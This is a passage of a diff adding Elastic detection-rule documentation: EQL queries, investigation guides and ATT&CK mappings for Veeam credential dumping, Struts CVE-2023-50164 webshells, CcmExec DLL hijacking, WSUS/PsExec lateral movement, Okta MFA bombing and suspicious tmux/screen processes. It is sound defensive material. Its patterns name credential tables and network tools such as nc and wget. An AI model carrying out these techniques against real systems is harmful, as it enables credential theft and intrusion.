URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-veeam-credential-access-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-veeam-credential-access-command.asciidoc new file mode 100644 index 0000000000..f999606354 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-veeam-credential-access-command.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-potential-veeam-credential-access-command]] +=== Potential Veeam Credential Access Command + +Identifies commands that can access and decrypt Veeam credentials stored in MSSQL databases. Attackers can use Veeam Credentials to target backups as part of destructive operations such as Ransomware attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2021/12/13/diavol-ransomware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Veeam Credential Access Command* + + +Veeam credentials stored in MSSQL databases are crucial for managing backup operations. Attackers may exploit tools like `sqlcmd.exe` or PowerShell commands to access and decrypt these credentials, potentially leading to data breaches or ransomware attacks. The detection rule identifies suspicious command executions targeting Veeam credentials, focusing on specific processes and arguments, to alert analysts of potential credential access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of sqlcmd.exe or PowerShell commands like Invoke-Sqlcmd, focusing on the process.name and process.args fields. +- Examine the command line arguments for any references to [VeeamBackup].[dbo].[Credentials] to determine if there was an attempt to access or decrypt Veeam credentials. +- Check the user account associated with the process execution to assess if it is a legitimate user or potentially compromised. +- Investigate the source host for any signs of unauthorized access or suspicious activity, such as unusual login times or failed login attempts. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender for Endpoint or Sysmon to identify any related malicious activities or patterns. +- Assess the risk and impact by determining if any Veeam credentials were successfully accessed or exfiltrated, and evaluate the potential for data breaches or ransomware attacks. + + +*False positive analysis* + + +- Routine database maintenance tasks may trigger the rule if they involve accessing Veeam credentials for legitimate purposes. To manage this, identify and document regular maintenance schedules and exclude these activities from triggering alerts. +- Automated scripts used for backup verification or testing might use similar commands. Review and whitelist these scripts by their process names or specific arguments to prevent unnecessary alerts. +- Internal security audits or compliance checks that involve credential access could be mistaken for malicious activity. Coordinate with audit teams to schedule these activities and create exceptions for known audit processes. +- Development or testing environments where Veeam credentials are accessed for non-production purposes can generate false positives. Implement environment-specific exclusions to differentiate between production and non-production activities. +- Legitimate use of PowerShell commands for database management by authorized personnel may be flagged. Maintain a list of authorized users and their typical command patterns to refine the detection rule and reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the alert, such as `sqlcmd.exe` or PowerShell commands accessing Veeam credentials. +- Change all Veeam-related credentials stored in the MSSQL database to prevent further unauthorized access using compromised credentials. +- Conduct a thorough review of recent backup operations and logs to identify any unauthorized access or modifications. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring on systems storing Veeam credentials to detect similar suspicious activities in the future. +- Review and update access controls and permissions for MSSQL databases to ensure only authorized personnel have access to Veeam credentials. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.name : "sqlcmd.exe" or ?process.pe.original_file_name : "sqlcmd.exe") or + process.args : ("Invoke-Sqlcmd", "Invoke-SqlExecute", "Invoke-DbaQuery", "Invoke-SqlQuery") + ) and + process.args : "*[VeeamBackup].[dbo].[Credentials]*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc new file mode 100644 index 0000000000..21940f4115 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation]] +=== Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation + +Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2023-50164 +* https://www.trendmicro.com/en_us/research/23/l/decoding-cve-2023-50164--unveiling-the-apache-struts-file-upload.html +* https://github.com/snyk-labs/CVE-2023-50164-POC + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* Domain: Network +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Network Traffic +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation* + + +CVE-2023-50164 is a critical path traversal vulnerability in Apache Struts 2 that allows attackers to manipulate file upload parameters and write malicious files to arbitrary locations on the web server. This vulnerability affects the file upload feature and enables attackers to bypass security controls, upload JSP-based web shells, and achieve remote code execution. This detection rule identifies the complete attack chain by correlating suspicious file upload requests to Struts endpoints with the subsequent creation of JSP files in web-accessible directories, indicating successful exploitation. + + +*Possible investigation steps* + + +- Review the source IP address of the HTTP POST request to determine if it originates from a known malicious source, VPN/proxy service, or unexpected geographic location that does not align with legitimate application usage patterns. +- Examine the complete HTTP request details including headers, user agent string, and the full request body content to identify indicators of exploit code, path traversal attempts, or malicious payloads embedded in the multipart form data. +- Investigate the created JSP file by examining its contents, file name, creation timestamp, and file permissions to determine if it contains web shell code, command execution capabilities, or other malicious functionality. +- Check for any subsequent process execution, network connections, or file system activities originating from the Java process after the JSP file creation, which may indicate that the web shell has been accessed and used by the attacker. +- Review web server access logs for requests to the newly created JSP file path to identify if the attacker has attempted to access or execute the web shell, and capture any command execution or data exfiltration attempts. +- Examine the affected Struts application logs and Tomcat catalina logs for additional context about the file upload request, error messages, or anomalous behavior that occurred during the exploitation attempt. +- Identify the version of Apache Struts 2 running on the affected server to confirm if it is vulnerable to CVE-2023-50164 (versions prior to 2.5.33 or 6.3.0.2 are affected). +- Search for additional suspicious file creations, modifications, or deletions in the webapps directories that may indicate the attacker attempted multiple exploitation attempts or deployed additional persistence mechanisms. + + +*False positive analysis* + + +- Legitimate application deployments using multipart form uploads to Struts endpoints followed by JSP file creation are uncommon but possible in custom deployment workflows. Review the source IP, user identity, and timing against known deployment schedules and authorized deployment systems. +- Automated testing frameworks or security scanning tools that test file upload functionality may trigger this rule if they upload files to Struts endpoints. Identify and exclude known security testing tools or authorized penetration testing activities based on source IP or user agent patterns. +- Development or staging environments where developers frequently test file upload features may generate alerts. Consider creating exceptions for non-production environments or restricting the rule to production systems only. +- CI/CD pipelines that deploy applications via multipart form uploads could potentially match this pattern, though this is rare. Review the deployment process and create exceptions for known automated deployment systems if necessary. + + +*Response and remediation* + + +- Immediately isolate the affected web server from the network to prevent further exploitation, lateral movement, or data exfiltration by the attacker. +- Identify and delete the malicious JSP web shell file from the web server, ensuring you preserve a copy for forensic analysis and evidence collection. +- Terminate any active web shell sessions by restarting the Java application server process and reviewing all active network connections for suspicious activity. +- Review web server access logs to identify all IP addresses that accessed the web shell and block those IP addresses at the network perimeter to prevent re-exploitation. +- Conduct a comprehensive scan of the affected server for additional web shells, backdoors, persistence mechanisms, or signs of lateral movement to other systems in the environment. +- Patch the Apache Struts 2 installation to version 2.5.33, 6.3.0.2, or higher to remediate the CVE-2023-50164 vulnerability and prevent future exploitation attempts. +- Review and harden file upload configurations in Struts applications, implement strict input validation, restrict file upload locations, and consider implementing web application firewall (WAF) rules to detect and block path traversal attempts. +- Reset credentials for any accounts or services running on the compromised server, as the attacker may have captured sensitive information or credentials through the web shell. +- Escalate the incident to the security operations center (SOC) and incident response team for comprehensive investigation, threat hunting, and to determine if additional systems were compromised. +- Conduct a post-incident review to identify gaps in detection, response, and vulnerability management processes, and implement improvements to prevent similar incidents in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis). + + +*Network Packet Capture Integration Setup* + + +**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by agent.id with maxspan=10s + [network where data_stream.dataset == "network_traffic.http" and + http.request.method == "POST" and + http.request.body.content like "*WebKitFormBoundary*" and + url.path like~ "*upload*.action"] + [file where event.dataset == "endpoint.events.file" and + host.os.type == "linux" and + event.action == "creation" and + process.name == "java" and + file.extension == "jsp" and + file.path like "*/webapps/*" and + not file.path like "*/WEB-INF/*" and + not file.path like "*/META-INF/*" and + not process.parent.name in ("apk", "apt", "apt-get", "dpkg", "yum", "rpm", "dnf", "systemd", "init")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-windows-session-hijacking-via-ccmexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-windows-session-hijacking-via-ccmexec.asciidoc new file mode 100644 index 0000000000..161eee5fbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-windows-session-hijacking-via-ccmexec.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-20-potential-windows-session-hijacking-via-ccmexec]] +=== Potential Windows Session Hijacking via CcmExec + +This detection rule identifies when 'SCNotification.exe' loads an untrusted DLL, which is a potential indicator of an attacker attempt to hijack/impersonate a Windows user session. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec +* https://mayfly277.github.io/posts/SCCM-LAB-part0x3/#impersonate-users---revshell-connected-users + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Windows Session Hijacking via CcmExec* + + +CcmExec, part of Microsoft's System Center Configuration Manager, manages client configurations and software updates. Adversaries may exploit it by loading malicious DLLs into SCNotification.exe, a process associated with user notifications. This detection rule identifies suspicious DLL activity, such as recent file creation or modification and untrusted signatures, indicating potential session hijacking attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm that the process name is SCNotification.exe and check the associated DLL file's creation or modification times to ensure they match the query conditions. +- Investigate the untrusted DLL by examining its file path, hash, and any available metadata to determine its origin and legitimacy. +- Check the code signature status of the DLL to understand why it is marked as untrusted and verify if it has been tampered with or is from an unknown publisher. +- Analyze recent system logs and user activity around the time the DLL was loaded to identify any suspicious behavior or unauthorized access attempts. +- Correlate the alert with other security events or alerts from the same host to identify potential patterns or related incidents that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they involve recent DLL file creation or modification. Users can create exceptions for known software update processes to prevent unnecessary alerts. +- System maintenance activities, such as patch management or configuration changes, might cause SCNotification.exe to load new DLLs. Exclude these activities by identifying and whitelisting trusted maintenance operations. +- Custom or in-house applications that are not signed by a recognized authority may be flagged. Ensure these applications are signed with a trusted certificate or add them to an allowlist to avoid false positives. +- Security tools or monitoring software that interact with SCNotification.exe could be mistakenly identified. Verify these tools and exclude them from the rule if they are deemed safe and necessary for operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate the SCNotification.exe process to stop the execution of the untrusted DLL and prevent further malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or software. +- Review and restore any modified or corrupted system files from a known good backup to ensure system integrity. +- Investigate the source of the untrusted DLL and remove any unauthorized software or scripts that may have facilitated its introduction. +- Implement application whitelisting to prevent unauthorized DLLs from being loaded by SCNotification.exe or other critical processes in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "windows" and process.name : "SCNotification.exe" and + (dll.Ext.relative_file_creation_time < 86400 or dll.Ext.relative_file_name_modify_time <= 500) and dll.code_signature.status != "trusted" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-wsus-abuse-for-lateral-movement.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-wsus-abuse-for-lateral-movement.asciidoc new file mode 100644 index 0000000000..10d5934d3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-wsus-abuse-for-lateral-movement.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-potential-wsus-abuse-for-lateral-movement]] +=== Potential WSUS Abuse for Lateral Movement + +Identifies a potential Windows Server Update Services (WSUS) abuse to execute psexec to enable for lateral movement. WSUS is limited to executing Microsoft signed binaries, which limits the executables that can be used to tools published by Microsoft. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/wsus-spoofing + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential WSUS Abuse for Lateral Movement* + + +Windows Server Update Services (WSUS) is a system that manages updates for Microsoft products, ensuring that only signed binaries are executed. Adversaries may exploit WSUS to run Microsoft-signed tools like PsExec for lateral movement within a network. The detection rule identifies suspicious processes initiated by WSUS, specifically targeting PsExec executions, to flag potential abuse attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the suspicious process execution, specifically checking for the parent process name "wuauclt.exe" and the child process name "psexec64.exe" or original file name "psexec.c". +- Examine the process execution path to verify if it matches the specified directories: "?:\Windows\SoftwareDistribution\Download\Install\*" or "\Device\HarddiskVolume?\Windows\SoftwareDistribution\Download\Install\*". +- Investigate the source and destination hosts involved in the alert to determine if there are any unauthorized or unexpected connections, focusing on potential lateral movement activities. +- Check the timeline of events leading up to and following the alert to identify any other suspicious activities or patterns that may indicate a broader attack. +- Correlate the alert with other security logs and alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender for Endpoint to gather additional context and confirm the legitimacy of the activity. +- Assess the user accounts involved in the process execution to ensure they are legitimate and have not been compromised, paying attention to any anomalies in user behavior or access patterns. + + +*False positive analysis* + + +- Legitimate administrative tasks using PsExec may trigger the rule. To manage this, create exceptions for known administrative accounts or specific times when these tasks are scheduled. +- Automated scripts or software deployment tools that use PsExec for legitimate purposes can cause false positives. Identify these tools and exclude their process hashes or specific execution paths from the rule. +- Security software or monitoring tools that utilize PsExec for scanning or remediation might be flagged. Verify these tools and whitelist their activities by excluding their specific process names or parent processes. +- Test environments where PsExec is used for development or testing purposes can generate alerts. Exclude these environments by specifying their IP ranges or hostnames in the rule exceptions. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further lateral movement within the network. Disconnect it from the network or use network segmentation to contain the threat. +- Terminate any suspicious processes identified as PsExec executions initiated by WSUS, specifically those matching the query criteria, to stop any ongoing malicious activity. +- Conduct a thorough review of the affected system's update logs and WSUS configuration to identify any unauthorized changes or updates that may have been exploited. +- Remove any unauthorized or malicious binaries found in the specified directories (e.g., Windows\SoftwareDistribution\Download\Install) to prevent further execution. +- Reset credentials for any accounts that may have been compromised or used in the lateral movement attempt, especially those with administrative privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been affected. +- Implement enhanced monitoring and logging for WSUS activities and PsExec executions to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.parent.name : "wuauclt.exe" and +process.executable : ( + "?:\\Windows\\SoftwareDistribution\\Download\\Install\\*", + "\\Device\\HarddiskVolume?\\Windows\\SoftwareDistribution\\Download\\Install\\*" +) and +(process.name : "psexec64.exe" or ?process.pe.original_file_name : "psexec.c") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc new file mode 100644 index 0000000000..ed4c74494c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-potentially-successful-okta-mfa-bombing-via-push-notifications]] +=== Potentially Successful Okta MFA Bombing via Push Notifications + +Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta.system* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/russian-targeting-gov-business +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide + +*Version*: 418 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potentially Successful Okta MFA Bombing via Push Notifications* + + +Multi-Factor Authentication (MFA) is an effective method to prevent unauthorized access. However, some adversaries may abuse the system by repeatedly sending MFA push notifications until the user unwittingly approves the access. + +This rule detects when a user denies MFA Okta Verify push notifications twice, followed by a successful authentication event within a 10-minute window. This sequence could indicate an adversary's attempt to bypass the Okta MFA policy. + + +*Possible investigation steps:* + + +- Identify the user who received the MFA notifications by reviewing the `user.email` field. +- Identify the time, source IP, and geographical location of the MFA requests and the subsequent successful login. +- Review the `event.action` field to understand the nature of the events. It should include two `user.mfa.okta_verify.deny_push` actions and one `user.authentication.sso` action. +- Ask the user if they remember receiving the MFA notifications and subsequently logging into their account. +- Check if the MFA requests and the successful login occurred during the user's regular activity hours. +- Look for any other suspicious activity on the account around the same time. +- Identify whether the same pattern is repeated for other users in your organization. Multiple users receiving push notifications simultaneously might indicate a larger attack. + + +*False positive analysis:* + + +- Determine if the MFA push notifications were legitimate. Sometimes, users accidentally trigger MFA requests or deny them unintentionally and later approve them. +- Check if there are known issues with the MFA system causing false denials. + + +*Response and remediation:* + + +- If unauthorized access is confirmed, initiate your incident response process. +- Alert the user and your IT department immediately. +- If possible, isolate the user's account until the issue is resolved. +- Investigate the source of the unauthorized access. +- If the account was accessed by an unauthorized party, determine the actions they took after logging in. +- Consider enhancing your MFA policy to prevent such incidents in the future. +- Encourage users to report any unexpected MFA notifications immediately. +- Review and update your incident response plans and security policies based on the findings from the incident. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.actor.id with maxspan=10m + [ any + where event.dataset == "okta.system" + and ( + okta.event_type == "user.mfa.okta_verify.deny_push" + or ( + okta.event_type == "user.authentication.auth_via_mfa" + and okta.debug_context.debug_data.factor == "OKTA_VERIFY_PUSH" + and okta.outcome.reason == "INVALID_CREDENTIALS" + ) + ) + ] with runs=5 + [ any + where event.dataset == "okta.system" + and okta.event_type in ( + "user.authentication.sso", + "user.authentication.auth_via_mfa", + "user.authentication.verify", + "user.session.start" + ) + and okta.outcome.result == "SUCCESS" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potentially-suspicious-process-started-via-tmux-or-screen.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potentially-suspicious-process-started-via-tmux-or-screen.asciidoc new file mode 100644 index 0000000000..db8eaba629 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potentially-suspicious-process-started-via-tmux-or-screen.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-potentially-suspicious-process-started-via-tmux-or-screen]] +=== Potentially Suspicious Process Started via tmux or screen + +This rule monitors for the execution of suspicious commands via screen and tmux. When launching a command and detaching directly, the commands will be executed in the background via its parent process. Attackers may leverage screen or tmux to execute commands while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potentially Suspicious Process Started via tmux or screen* + + +Tmux and screen are terminal multiplexers that allow users to manage multiple terminal sessions from a single window, facilitating multitasking and session persistence. Adversaries may exploit these tools to execute commands stealthily, detaching sessions to run processes in the background. The detection rule identifies suspicious processes initiated by tmux or screen, focusing on potentially malicious commands, to uncover attempts at evading security measures. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command executed by tmux or screen, focusing on the process.name field to determine if it matches any known suspicious commands like "nmap", "nc", "wget", etc. +- Examine the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears anomalous. +- Check the parent process information, specifically process.parent.name, to confirm that the process was indeed initiated by tmux or screen, and assess if this behavior is expected for the user or system. +- Investigate the network activity associated with the process, especially if the command involves network utilities like "curl" or "ping", to identify any unusual or unauthorized connections. +- Correlate the event with other security alerts or logs from the same 